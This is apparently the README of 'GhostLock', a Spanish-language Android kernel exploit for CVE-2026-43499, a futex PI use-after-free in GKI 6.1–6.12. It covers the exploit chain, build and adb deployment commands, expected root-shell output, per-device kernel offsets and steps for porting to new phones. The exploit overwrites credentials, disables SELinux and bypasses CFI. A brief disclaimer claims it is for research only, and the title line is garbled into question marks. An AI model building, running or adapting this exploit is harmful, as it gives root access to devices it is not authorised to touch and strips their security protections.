
CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????
ID CVE: CVE-2026-43499
Tipo de vulnerabilidad: UAF (Use-After-Free) en pila de futex PI (herencia de prioridad)
Alcance: kernel de Linux 6.1 ~ 6.12 (Android GKI)
Efecto: elevación de privilegios local + desactivación de SELinux, obtención de shell root
Espacio de usuario → pselect() → se asigna rt_mutex_waiter en la pila del kernel
→ la operación futex PI desencadena la liberación del waiter
→ la memoria del waiter liberado se reutiliza mediante operaciones fd_set
→ los campos del waiter se controlan con datos fd_set cuidadosamente construidos
→ rb_erase() desencadena una escritura arbitraria en la memoria del kernel
pselect() + futex PI se libera de forma competitiva rt_mutex_waiter en la pila del kernelpipe_buffer para construir un rt_mutex_waiter falsorb_erase() para escribir punteros controlados en la dirección objetivocred: uid/gid → 0, capabilities → todas habilitadasselinux_state.enforcing → 0ashmem_fops para confirmar la integridad de CFIGhostLock/
├── README.md # Este documento
├── src/
│ ├── core/ # Código de explotación principal
│ │ ├── main.c # Entrada principal, disparo de la vulnerabilidad
│ │ ├── pipe.c # Rociado de pipe_buffer
│ │ ├── fops.c # Secuestro de operaciones de archivo
│ │ ├── root.c # Elevación de privilegios + desactivación de SELinux
│ │ ├── slide.c # Manejo de la aleatorización de direcciones del kernel
│ │ ├── util.c # Funciones de utilidad
│ │ ├── miniadb.c # Servidor ADB en miniatura
│ │ ├── common.h # Definiciones comunes
│ │ ├── target.h # Configuración del objetivo
│ │ ├── offset.h # Incluye desplazamientos
│ │ ├── runtime_offsets.h # Tabla de desplazamientos en tiempo de ejecución
│ │ └── kernelsnitch/ # Sondeo de direcciones del kernel
│ │ ├── kernelsnitch.h
│ │ ├── futex_hash.h
│ │ ├── utils.h
│ │ └── timeutils.h
│ └── devices/ # Adaptación de dispositivos
│ ├── offsets.h # Definición de estructura de desplazamientos
│ ├── findx8/ # OPPO Find X8
│ │ └── offsets.h
│ ├── ace6t/ # OnePlus Ace 6T
│ │ └── offsets.h
│ ├── op15/ # OnePlus 15
│ │ └── offsets.h
│ ├── opd2502/ # OnePlus Pad 2
│ │ └── offsets.h
│ └── rmx5070/ # Realme RMX5070
│ └── offsets.h
├── tools/ # Herramientas auxiliares
│ └── extract_btf.py # Script de extracción de desplazamientos BTF
├── btf_*.py # Conjunto de scripts de análisis BTF
├── Makefile # Script de compilación
├── compile.cmd # Script de compilación para Windows
├── build.rsp # Archivo de respuesta de compilación
└── ghostlock # Artefacto de compilación (ELF aarch64)
# 1. Establecer la ruta del NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c
# 2. Compilar
make
# 3. O compilar directamente con el NDK
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
--target=aarch64-linux-android35 \
-O2 -Wall -fPIE -pie -pthread \
-Isrc/core -Isrc/devices \
-DTARGET_CONFIG_H=\"target.h\" \
src/core/*.c -o ghostlock
# Usar el compile.cmd proporcionado
compile.cmd
# 1. Confirmar la conexión del dispositivo
adb devices
# 2. Confirmar la versión del kernel (debe coincidir)
adb shell uname -r
# Salida esperada: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
# 3. Enviar el exploit al teléfono
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock
# 4. Ejecutar el exploit
adb shell /data/local/tmp/ghostlock
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...
# (shell root)id muestra uid=0(root)getenforce devuelve PermissiveKIMAGE_TEXT_BASE = 0xffffffc080000000 (Find X8)
PAGE_OFFSET = 0xffffffc000000000
PHYS_OFFSET = 0x40000000
DIRECT_MAP_END = 0xffffffc400000000 (16GB RAM)
direct_map para localizar mm_structpipe_bufferExtraer la imagen del kernel:
# Extraer boot.img del teléfono
adb pull /dev/block/by-name/boot boot.img
# O extraerlo del paquete de firmware
Extraer kallsyms:
# Usar vmlinux-to-elf
python3 -m vmlinux_to_elf boot.img
# Seleccionar la opción "Extract kallsyms"
Extraer información BTF:
python3 btf_task2.py > task_full.txt
python3 btf_structs2.py > structs.txt
Crear la entrada del dispositivo:
mkdir -p src/devices/mydevice
# Copiar una entrada existente como plantilla
cp src/devices/findx8/offsets.h src/devices/mydevice/
# Modificar los desplazamientos
Registrar el dispositivo:
Añadir en src/devices/offsets.h:
#include "mydevice/offsets.h"
# Extraer todos los miembros de task_struct
python3 btf_task2.py > task_full.txt
# Extraer todas las estructuras clave
python3 btf_structs2.py > structs.txt
# Extraer estructuras específicas
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt
# Extraer datos BTF sin procesar
python3 btf_raw.py > raw.txt
# Usar vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin
# O usar un script personalizado
python3 run_kallsyms_finder.py
⚠️ Advertencia: esta herramienta es únicamente para investigación de seguridad y pruebas autorizadas. Usarla sin autorización en dispositivos de otras personas es ilegal.
Este exploit puede evadir la protección de Control Flow Integrity (CFI) del kernel mediante:
ashmem_fopscopy_splice_read como destino de llamada legítimoP: Aparece "no offsets for kernel: xxx" R: La versión del kernel no es compatible; debe añadir una entrada de dispositivo
P: El exploit se queda bloqueado R: Puede ser un fallo de condición de carrera; reintente varias veces
P: Aparece un kernel panic R: Es poco probable (panic_on_oops no está configurado), pero puede comprobar dmesg
# Habilitar la salida detallada
adb shell /data/local/tmp/ghostlock -v
# Ver los registros del kernel
adb shell dmesg | tail -50
Este proyecto se distribuye bajo la licencia MIT.
Última actualización: 13 de agosto de 2026
Autor: wzh
Contacto: [email protected]
| Dispositivo | Versión del kernel | Estado |
|---|
| OPPO Find X8 (MT6991) | 6.6.118-android15 | ✅ Adaptado |
| OnePlus Ace 6T | 6.1.x | ✅ Verificado |
| OnePlus 15 | 6.1.x | ✅ Verificado |
| OnePlus Pad 2 | 6.1.x | ✅ Verificado |
| Realme RMX5070 | 6.1.x | ✅ Verificado |
| Símbolo | Desplazamiento |
|---|
| init_task | 0x0211E280 |
| init_cred | 0x02130748 |
| selinux_enforcing | 0x02358EE0 |
| ashmem_misc | 0x0227C518 |
| ashmem_fops | 0x012EF5C0 |
| kmalloc_caches | 0x0167A298 |
| Estructura | Campo | Desplazamiento |
|---|
| task_struct | cred | 0x820 |
| task_struct | real_cred | 0x818 |
| task_struct | tasks | 0x550 |
| task_struct | pi_lock | 0x90C |
| task_struct | seccomp | 0x8E8 |
| cred | uid | 0x08 |
| cred | caps | 0x30 |
| file_operations | ioctl | 0x48 |
| file_operations | splice_read | 0xB8 |
| Información | Fuente | Herramienta |
|---|
| Direcciones de símbolos | kallsyms | vmlinux-to-elf |
| Desplazamientos de estructuras | BTF | btf_task2.py |
| Diseño de la memoria física | IKCONFIG | extract-ikconfig |
| Versión del kernel | uname | adb shell uname -r |